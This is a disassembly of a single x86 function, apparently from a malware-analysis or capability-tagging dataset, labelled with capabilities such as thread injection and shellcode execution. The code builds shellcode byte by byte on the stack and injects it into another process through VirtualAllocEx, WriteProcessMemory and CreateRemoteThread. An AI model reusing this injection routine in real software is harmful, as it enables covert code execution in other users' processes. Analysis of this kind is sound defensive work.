Function at 0x450640
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x5a8
mov eax, dword [0x4e1370]
xor eax, esp
mov dword [esp + 0x5a4], eax
mov eax, dword [esp + 0x5b4]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x5b8]
push edi
mov edi, edx
xor ebx, ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], ecx
cmp edi, ebx
je 0x451052
cmp esi, ebx
je 0x451052
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x450687
sub eax, edx
sar eax, 1
cmp eax, 0x104
ja 0x451052
mov cl, 0xec
mov al, 0x8b
mov byte [esp + 0x4b2], cl
mov byte [esp + 0x4b4], cl
mov cl, 8
mov dl, 4
mov byte [esp + 0x4b5], cl
mov byte [esp + 0x4b8], cl
mov cl, 0xfc
mov byte [esp + 0x4b0], 0x55
mov byte [esp + 0x4b1], al
mov byte [esp + 0x4b3], 0x83
mov byte [esp + 0x4b6], al
mov byte [esp + 0x4b7], 0x45
mov byte [esp + 0x4b9], 0x89
mov byte [esp + 0x4ba], 0x45
mov byte [esp + 0x4bb], cl
mov byte [esp + 0x4bc], 0x83
mov byte [esp + 0x4bd], 0x7d
mov byte [esp + 0x4be], cl
mov byte [esp + 0x4bf], bl
mov byte [esp + 0x4c0], 0xf
mov byte [esp + 0x4c1], 0x84
mov byte [esp + 0x4c2], 0xde
mov byte [esp + 0x4c3], bl
mov byte [esp + 0x4c4], bl
mov byte [esp + 0x4c5], bl
mov byte [esp + 0x4c6], al
mov byte [esp + 0x4c7], 0x4d
mov byte [esp + 0x4c8], cl
mov byte [esp + 0x4c9], 0x83
mov byte [esp + 0x4ca], 0xb9
mov byte [esp + 0x4cb], 0x20
mov byte [esp + 0x4cc], dl
mov byte [esp + 0x4cd], bl
mov byte [esp + 0x4ce], bl
mov byte [esp + 0x4cf], bl
mov byte [esp + 0x4d0], 0xf
mov byte [esp + 0x4d1], 0x84
mov byte [esp + 0x4d2], 0xce
mov byte [esp + 0x4d3], bl
mov byte [esp + 0x4d4], bl
mov byte [esp + 0x4d5], bl
mov byte [esp + 0x4d6], al
mov byte [esp + 0x4d7], 0x55
mov byte [esp + 0x4d8], cl
mov byte [esp + 0x4d9], 0x83
mov byte [esp + 0x4da], 0xba
mov byte [esp + 0x4db], 0x28
mov byte [esp + 0x4dc], dl
mov byte [esp + 0x4dd], bl
mov byte [esp + 0x4de], bl
mov byte [esp + 0x4df], bl
mov byte [esp + 0x4e0], 0xf
mov byte [esp + 0x4e1], 0x84
mov byte [esp + 0x4e2], 0xbe
mov byte [esp + 0x4e3], bl
mov byte [esp + 0x4e4], bl
mov byte [esp + 0x4e5], bl
mov byte [esp + 0x4e6], al
mov byte [esp + 0x4e7], 0x45
mov byte [esp + 0x4e8], cl
mov byte [esp + 0x4e9], 5
mov byte [esp + 0x4ea], 0x70
mov byte [esp + 0x4eb], dl
mov byte [esp + 0x4ec], bl
mov byte [esp + 0x4ed], bl
mov byte [esp + 0x4ee], 0x50
mov byte [esp + 0x4ef], al
mov byte [esp + 0x4f0], 0x4d
mov byte [esp + 0x4f1], cl
mov byte [esp + 0x4f2], 0x81
mov byte [esp + 0x4f3], 0xc1
mov byte [esp + 0x4f4], 0x2c
mov byte [esp + 0x4f5], dl
mov byte [esp + 0x4f6], bl
mov byte [esp + 0x4f7], bl
mov byte [esp + 0x4f8], 0x51
mov byte [esp + 0x4f9], al
mov byte [esp + 0x4fa], 0x55
mov byte [esp + 0x4fb], cl
mov byte [esp + 0x4fc], 0x81
mov byte [esp + 0x4fd], 0xc2
mov byte [esp + 0x4fe], 0xa
mov byte [esp + 0x4ff], 2
mov byte [esp + 0x500], bl
mov byte [esp + 0x501], bl
mov byte [esp + 0x502], 0x52
mov byte [esp + 0x503], 0x6a
mov byte [esp + 0x504], bl
mov byte [esp + 0x505], al
mov byte [esp + 0x506], 0x45
mov byte [esp + 0x507], cl
mov byte [esp + 0x508], al
mov byte [esp + 0x509], 0x88
mov byte [esp + 0x50a], 0x1c
mov byte [esp + 0x50b], dl
mov byte [esp + 0x50c], bl
mov byte [esp + 0x50d], bl
mov byte [esp + 0x50e], 0x51
mov byte [esp + 0x50f], 0x6a
mov byte [esp + 0x510], bl
mov byte [esp + 0x511], 0x6a
mov byte [esp + 0x512], bl
mov byte [esp + 0x513], 0x6a
mov byte [esp + 0x514], bl
mov byte [esp + 0x515], al
mov byte [esp + 0x516], 0x55
mov byte [esp + 0x517], cl
mov byte [esp + 0x518], 0x52
mov byte [esp + 0x519], 0x6a
mov byte [esp + 0x51a], bl
mov byte [esp + 0x51b], al
mov byte [esp + 0x51c], 0x45
mov byte [esp + 0x51d], cl
mov byte [esp + 0x51e], al
mov byte [esp + 0x51f], 0x88
mov byte [esp + 0x520], 0x20
mov byte [esp + 0x521], dl
mov byte [esp + 0x522], bl
mov byte [esp + 0x523], bl
mov byte [esp + 0x524], 0xff
mov byte [esp + 0x525], 0xd1
mov byte [esp + 0x526], 0x89
mov byte [esp + 0x527], 0x45
mov byte [esp + 0x528], 0xf8
mov byte [esp + 0x529], 0x83
mov byte [esp + 0x52a], 0x7d
mov byte [esp + 0x52b], 0xf8
mov byte [esp + 0x52c], bl
mov byte [esp + 0x52d], 0x74
mov byte [esp + 0x52e], 0x75
mov byte [esp + 0x52f], al
mov byte [esp + 0x530], 0x55
mov byte [esp + 0x531], cl
mov byte [esp + 0x532], 0x83
mov byte [esp + 0x533], 0xba
mov byte [esp + 0x534], 0x14
mov byte [esp + 0x535], dl
mov byte [esp + 0x536], bl
mov byte [esp + 0x537], bl
mov byte [esp + 0x538], bl
mov byte [esp + 0x539], 0x74
mov byte [esp + 0x53a], 0x3f
mov byte [esp + 0x53b], al
mov byte [esp + 0x53c], 0x45
mov byte [esp + 0x53d], cl
mov byte [esp + 0x53e], 0x83
mov byte [esp + 0x53f], 0xb8
mov byte [esp + 0x540], 0x24
mov byte [esp + 0x541], dl
mov byte [esp + 0x542], bl
mov byte [esp + 0x543], bl
mov byte [esp + 0x544], bl
mov byte [esp + 0x545], 0x74
mov byte [esp + 0x546], 0x33
mov byte [esp + 0x547], al
mov byte [esp + 0x548], 0x4d
mov byte [esp + 0x549], cl
mov byte [esp + 0x54a], al
mov byte [esp + 0x54b], 0x91
mov byte [esp + 0x54c], 0x78
mov byte [esp + 0x54d], dl
mov byte [esp + 0x54e], bl
mov byte [esp + 0x54f], bl
mov byte [esp + 0x550], 0x52
mov byte [esp + 0x551], al
mov byte [esp + 0x552], 0x45
mov byte [esp + 0x553], cl
mov byte [esp + 0x554], al
mov byte [esp + 0x555], 0x88
mov byte [esp + 0x556], 0x7c
mov byte [esp + 0x557], dl
mov byte [esp + 0x558], bl
mov byte [esp + 0x559], bl
mov byte [esp + 0x55a], 0x51
mov byte [esp + 0x55b], al
mov byte [esp + 0x55c], 0x55
mov byte [esp + 0x55d], cl
mov byte [esp + 0x55e], al
mov byte [esp + 0x55f], 0x82
mov byte [esp + 0x560], 0x18
mov byte [esp + 0x561], dl
mov byte [esp + 0x562], bl
mov byte [esp + 0x563], bl
mov byte [esp + 0x564], 0x50
mov byte [esp + 0x565], al
mov byte [esp + 0x566], 0x4d
mov byte [esp + 0x567], cl
mov byte [esp + 0x568], al
mov byte [esp + 0x569], 0x91
mov byte [esp + 0x56a], 0x14
mov byte [esp + 0x56b], dl
mov byte [esp + 0x56c], bl
mov byte [esp + 0x56d], bl
mov byte [esp + 0x56e], 0x52
mov byte [esp + 0x56f], al
mov byte [esp + 0x570], 0x45
mov byte [esp + 0x571], cl
mov byte [esp + 0x572], al
mov byte [esp + 0x573], 0x88
mov byte [esp + 0x574], 0x24
mov byte [esp + 0x575], dl
mov byte [esp + 0x576], bl
mov byte [esp + 0x577], bl
mov byte [esp + 0x578], 0xff
mov byte [esp + 0x579], 0xd1
mov byte [esp + 0x57a], al
mov byte [esp + 0x57b], 0x55
mov byte [esp + 0x57c], cl
mov byte [esp + 0x57d], al
mov byte [esp + 0x57e], 0x82
mov byte [esp + 0x57f], 0x74
mov byte [esp + 0x580], dl
mov byte [esp + 0x581], bl
mov byte [esp + 0x582], bl
mov byte [esp + 0x583], 0x50
mov byte [esp + 0x584], al
mov byte [esp + 0x585], 0x4d
mov byte [esp + 0x586], cl
mov byte [esp + 0x587], al
mov byte [esp + 0x588], 0x91
mov byte [esp + 0x589], 0x28
mov byte [esp + 0x58a], dl
mov byte [esp + 0x58b], bl
mov byte [esp + 0x58c], bl
mov byte [esp + 0x58d], 0xff
mov byte [esp + 0x58e], 0xd2
mov byte [esp + 0x58f], al
mov byte [esp + 0x590], 0x45
mov byte [esp + 0x591], cl
mov byte [esp + 0x592], al
mov byte [esp + 0x593], 0x88
mov byte [esp + 0x594], 0x70
mov byte [esp + 0x595], dl
mov byte [esp + 0x596], bl
mov byte [esp + 0x597], bl
mov byte [esp + 0x598], 0x51
mov byte [esp + 0x599], al
mov byte [esp + 0x59a], 0x55
mov byte [esp + 0x59b], cl
mov byte [esp + 0x59c], al
mov byte [esp + 0x59d], 0x82
push 0x20a
mov byte [esp + 0x5a3], dl
mov byte [esp + 0x5ae], dl
mov byte [esp + 0x5aa], al
mov al, 0xcc
lea edx, [esp + 0x34]
push ebx
push edx
mov byte [esp + 0x5aa], 0x28
mov byte [esp + 0x5ac], bl
mov byte [esp + 0x5ad], bl
mov byte [esp + 0x5ae], 0xff
mov byte [esp + 0x5af], 0xd0
mov byte [esp + 0x5b0], 0x33
mov byte [esp + 0x5b1], 0xc0
mov byte [esp + 0x5b3], 0xe5
mov byte [esp + 0x5b4], 0x5d
mov byte [esp + 0x5b5], 0xc2
mov byte [esp + 0x5b7], bl
mov byte [esp + 0x5b8], al
mov byte [esp + 0x5b9], al
mov byte [esp + 0x5ba], al
mov byte [esp + 0x5bb], al
call fcn.00494b20
push 0x276
lea eax, [esp + 0x24a]
push ebx
push eax
call fcn.00494b20
mov ecx, dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, dword [sym.imp.USER32.dll_PostMessageW]
mov eax, dword [esp + 0x5d8]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x468], ecx
mov ecx, 5
mov dword [esp + 0x46c], edx
mov dword [esp + 0x464], eax
mov word [esp + 0x4a4], cx
add esp, 0x18
mov eax, esi
mov ecx, 0x105
lea edx, [esp + 0x23a]
mov dword [esp + 0x458], ebp
mov dword [esp + 0x444], ebx
mov dword [esp + 0x448], ebx
mov dword [esp + 0x45c], 0x44
mov dword [esp + 0x488], 1
call fcn.0044c6a0
lea edx, [esp + 0x23a]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
cmp word [esi], 0x22
jne 0x450ee9
mov eax, esi
mov ecx, 0x105
lea edx, [esp + 0x30]
call fcn.0044c6a0
jmp 0x450f01
push esi
push str.__s_
lea eax, [esp + 0x38]
push 0x20a
push eax
call fcn.004549b0
add esp, 0x10
push edi
push ebx
push 0x3a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [esp + 0x28], esi
cmp esi, ebx
je 0x451052
push 0x40
push 0x3000
push 0x480
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
cmp edi, ebx
je 0x45104f
push 0x40
push 0x3000
push pe_nt_image_headers32
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x14], eax
cmp eax, ebx
je 0x45104f
push ebx
push 0x480
lea ecx, [esp + 0x38]
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x45104f
mov eax, dword [esp + 0x14]
push ebx
push pe_nt_image_headers32
lea edx, [esp + 0x4b8]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x45104f
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x2c]
push ecx
push ebx
push edi
push edx
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [esp + 0x1c], eax
cmp eax, ebx
je 0x45104f
push 0x2710
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x451048
lea eax, [esp + 0x24]
push eax
push 0x10
lea ecx, [esp + 0x4a8]
push ecx
lea edx, [edi + 0x470]
push edx
push esi
mov dword [esp + 0x38], ebx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x451008
mov eax, dword [esp + 0x4a8]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x4ac]
mov dword [ecx], eax
mov eax, dword [esp + 0x20]
mov dword [eax], edx
push 0x8000
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call edi
mov ecx, dword [esp + 0x14]
push 0x8000
push ebx
push ecx
push esi
call edi
mov eax, dword [esp + 0x18]
xor edx, edx
cmp edx, dword [eax]
lea esi, [esp + 0x1c]
sbb edi, edi
neg edi
call fcn.00448300
lea esi, [esp + 0x28]
call fcn.00448300
mov eax, edi
jmp 0x451054
mov ecx, dword [esp + 0x1c]
push ecx
call ebp
push esi
call ebp
xor eax, eax
mov ecx, dword [esp + 0x5b4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0049021b
add esp, 0x5a8
ret